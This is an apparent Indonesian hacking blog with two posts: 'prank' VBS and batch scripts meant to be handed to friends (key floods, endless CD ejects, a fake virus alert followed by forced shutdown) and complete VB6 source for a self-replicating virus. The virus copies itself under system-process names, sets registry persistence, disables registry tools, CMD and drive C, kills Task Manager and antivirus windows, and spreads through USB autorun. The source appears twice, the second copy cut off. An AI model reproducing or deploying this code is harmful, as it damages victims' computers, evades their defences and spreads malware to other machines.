Hallo kawan :)
Kzkz, bosen dengan belajar, mau iseng? Yuk, kita pakai cara sederhana saja untuk ngisengin teman kita sendiri.
Tapi jangan anda coba trik ini di komputer anda, klo dicoba berarti anda mengisengin diri anda sendiri & dapat dibilang anda melakukan tindakan yang stup*d.. Hehe.. Wkwk..
Lets begin! Pastikan Anda Mengetik Dengan Benar Script Dibawah Ini! Copy Paste Kadang Tidak Berhasil Dikarenakan Perbedaan Tanda Petik ( ” ” ) Pada Notepad, Untuk Lebih Fix Bisa Pake TextPad :)
1. Iseng Mengeject CD-Drive Terus Menerus
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
2. Iseng Dengan Tombol Enter Terus Menerus
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you? I am good thanks!”
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
4. Iseng Dengan Backspace
MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
5. Iseng Dengan Membuka Calculator Terus Menerus
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda
6. Iseng Dengan Keyboard
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard Tidak Berfungsi! Harap Diperbaiki”
loop
Kemudian save dengan “SUKASUKAANDA.VBS” & Berikan keteman Anda
7. Iseng Dengan Shutdown Computer
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Kemudian save dengan “SUKASUKAANDA.BAT” & Berikan keteman Anda
==================================================
Note: Bosen gak ada kerjaan didepan komputer, terlintas untuk berbagi cara ngisengin teman. Teringat masa lalu waktu masih suka ngisengin temen² dengan trik ini :)
Semoga Bermanfaat Ya All.. Salam Hangat Dari Saya.. Kzkz..
Silakan Dikembangkan Sendiri Ide Ide Yang Lainnya
DI Blog saya ini, Saya akan mengulas tentang rahasia internet gratis yang selama ini di tutup-tutupi oleh operator di indonesia. Silahkan melihat cara internet gratis operator anda dan jangan lupa kasih coment. Selamat melihat-lihat. Oh, ya sampai lupa di blog saya ini saya juga menyediakan trik untuk para hacker. Terima kasih sudah untuk datang ke blog yang sederhana ini.
Selasa, 06 Juli 2010
Membuat Virus Sederhana Untuk Menggangu MS Office Word
Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.
Masukan semua code di bawah ini pada form
==========================================
Private Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long ‘pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib “user32″ Alias “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long ‘sendmessage
Private Declare Function GetDriveType& Lib “Kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String) ‘ penghandel flashdisk
Private Declare Function ExitWindowsEx Lib “user32″ (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long ‘exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8
Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk
Private Sub Form_Load()
On Error Resume Next
‘acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) ‘silahkan masukan angka sesuka anda
‘menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False ‘virus tidak terlihat di task manager
InfeksiRegistry
End Sub
Sub BuatWord()
On Error Resume Next
Set obj = CreateObject(“word.application”)
Set doc = CreateObject(“word.application”)
Set doc = obj.Documents.Add
doc.Content = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub BuatXls()
On Error Resume Next
Set obj = CreateObject(“excel.application”)
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”, “Explorer.exe” & ” “”" & FolderMyDocuments & “\services.exe”"” ‘virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”, FolderFavorites & “\SalamKenal.exe” ‘virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderTemplates & “\smss.exe” ‘smss.exe berjalan pada saat startup
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderSendTo & “\System.exe” ‘System.exe berjalan pada saat startup
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘search pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘Ssearch pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\Control Panel\Colors\WindowText”, “255 0 0″, “REG_SZ” ‘DEFAULT TEKS MENJADI MERAH
RegRun.regwrite “HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\”, FolderFavorites & “\SalamKenal.exe” ‘Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun”, 1, “REG_DWORD” ‘Autorun pada CD atau USB
End Sub
Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & “\Winlogon.exe”) <> “Winlogon.exe” Then ‘mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & “\Winlogon.exe”, FlashDisk & “\Winlogon.exe”
SetAttr FlashDisk & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
‘membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & “\Autorun.Inf” For Output As 1
Print #1, “[AutoRun]”
Print #1, “Icon=Winlogon.exe” ‘Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, “Open=Winlogon.exe”
Print #1, “ShellExecute=Winlogon.exe”
Print #1, “Shell\Open\Command=Winlogon.exe”
Print #1, “Shell=Open”
Close #1
SetAttr FlashDisk & “\Autorun.Inf”, vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject(“WScript.Shell”)
FolderStartUp = RegRun.specialfolders(“StartUp”)
FolderMyDocuments = RegRun.specialfolders(“MyDocuments”)
FolderTemplates = RegRun.specialfolders(“Templates”)
FolderNetHood = RegRun.specialfolders(“NetHood”)
FolderPrintHood = RegRun.specialfolders(“PrintHood”)
FolderFavorites = RegRun.specialfolders(“Favorites”)
FolderSendTo = RegRun.specialfolders(“SendTo”)
FolderPrograms = RegRun.specialfolders(“Programs”)
On Error Resume Next
‘membuat virus dengan nama winlogon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderStartUp & “\WinLogon.Exe”
SetAttr FolderStartUp & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama services.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderMyDocuments & “\services.Exe”
SetAttr FolderMyDocuments & “\services.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama smss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderTemplates & “\smss.Exe”
SetAttr FolderTemplates & “\smss.Exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama csrss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrintHood & “\csrss.Exe”
SetAttr FolderPrintHood & “\csrss.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama Isass.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderNetHood & “\Isass.Exe”
SetAttr FolderNetHood & “\Isass.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderFavorites & “\SalamKenal.Exe”
SetAttr FolderFavorites & “\SalamKenal.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama System.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderSendTo & “\System.Exe”
SetAttr FolderSendTo & “\System.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama ctfmon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrograms & “\ctfmon.Exe”
SetAttr FolderPrograms & “\ctfmon.exe”, vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Timer1_Timer() ‘Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “Document1 – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “New Microsoft Word Document.doc – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – Book1″) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – New Microsoft Excel Worksheet.xls”) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub
Private Sub Timer3_Timer()
On Error Resume Next
‘menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow(“#32770″, “RUN”) ‘jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “System Configuration Utility”) ‘msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Windows Task Manager”) ‘task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Avira AntiVir Personal – Free Antivirus”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “AntiVir Guard: Attention, Detection!”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“RegEdit_RegEdit”, vbNullString) ‘regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TMainForm”, vbNullString) ‘aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TApplication”, vbNullString) ‘aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub
Private Sub Timer4_Timer()
‘cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount – 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False ‘agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk ‘
End Sub
Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
‘Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
‘menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
Timer4.Enabled = True
End If
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.
Masukan semua code di bawah ini pada form
==========================================
Private Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long ‘pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib “user32″ Alias “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long ‘sendmessage
Private Declare Function GetDriveType& Lib “Kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String) ‘ penghandel flashdisk
Private Declare Function ExitWindowsEx Lib “user32″ (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long ‘exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8
Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk
Private Sub Form_Load()
On Error Resume Next
‘acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) ‘silahkan masukan angka sesuka anda
‘menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False ‘virus tidak terlihat di task manager
InfeksiRegistry
End Sub
Sub BuatWord()
On Error Resume Next
Set obj = CreateObject(“word.application”)
Set doc = CreateObject(“word.application”)
Set doc = obj.Documents.Add
doc.Content = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub BuatXls()
On Error Resume Next
Set obj = CreateObject(“excel.application”)
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub
Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”, “Explorer.exe” & ” “”" & FolderMyDocuments & “\services.exe”"” ‘virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”, FolderFavorites & “\SalamKenal.exe” ‘virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderTemplates & “\smss.exe” ‘smss.exe berjalan pada saat startup
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderSendTo & “\System.exe” ‘System.exe berjalan pada saat startup
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘search pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘Ssearch pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\Control Panel\Colors\WindowText”, “255 0 0″, “REG_SZ” ‘DEFAULT TEKS MENJADI MERAH
RegRun.regwrite “HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\”, FolderFavorites & “\SalamKenal.exe” ‘Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun”, 1, “REG_DWORD” ‘Autorun pada CD atau USB
End Sub
Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & “\Winlogon.exe”) <> “Winlogon.exe” Then ‘mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & “\Winlogon.exe”, FlashDisk & “\Winlogon.exe”
SetAttr FlashDisk & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub
Sub BuatFileAutorunInf()
‘membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & “\Autorun.Inf” For Output As 1
Print #1, “[AutoRun]”
Print #1, “Icon=Winlogon.exe” ‘Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, “Open=Winlogon.exe”
Print #1, “ShellExecute=Winlogon.exe”
Print #1, “Shell\Open\Command=Winlogon.exe”
Print #1, “Shell=Open”
Close #1
SetAttr FlashDisk & “\Autorun.Inf”, vbHidden + vbSystem + vbReadOnly
End Sub
Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject(“WScript.Shell”)
FolderStartUp = RegRun.specialfolders(“StartUp”)
FolderMyDocuments = RegRun.specialfolders(“MyDocuments”)
FolderTemplates = RegRun.specialfolders(“Templates”)
FolderNetHood = RegRun.specialfolders(“NetHood”)
FolderPrintHood = RegRun.specialfolders(“PrintHood”)
FolderFavorites = RegRun.specialfolders(“Favorites”)
FolderSendTo = RegRun.specialfolders(“SendTo”)
FolderPrograms = RegRun.specialfolders(“Programs”)
On Error Resume Next
‘membuat virus dengan nama winlogon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderStartUp & “\WinLogon.Exe”
SetAttr FolderStartUp & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama services.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderMyDocuments & “\services.Exe”
SetAttr FolderMyDocuments & “\services.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama smss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderTemplates & “\smss.Exe”
SetAttr FolderTemplates & “\smss.Exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama csrss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrintHood & “\csrss.Exe”
SetAttr FolderPrintHood & “\csrss.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama Isass.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderNetHood & “\Isass.Exe”
SetAttr FolderNetHood & “\Isass.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderFavorites & “\SalamKenal.Exe”
SetAttr FolderFavorites & “\SalamKenal.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama System.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderSendTo & “\System.Exe”
SetAttr FolderSendTo & “\System.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama ctfmon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrograms & “\ctfmon.Exe”
SetAttr FolderPrograms & “\ctfmon.exe”, vbHidden + vbSystem + vbReadOnly
End Sub
Private Sub Timer1_Timer() ‘Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “Document1 – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
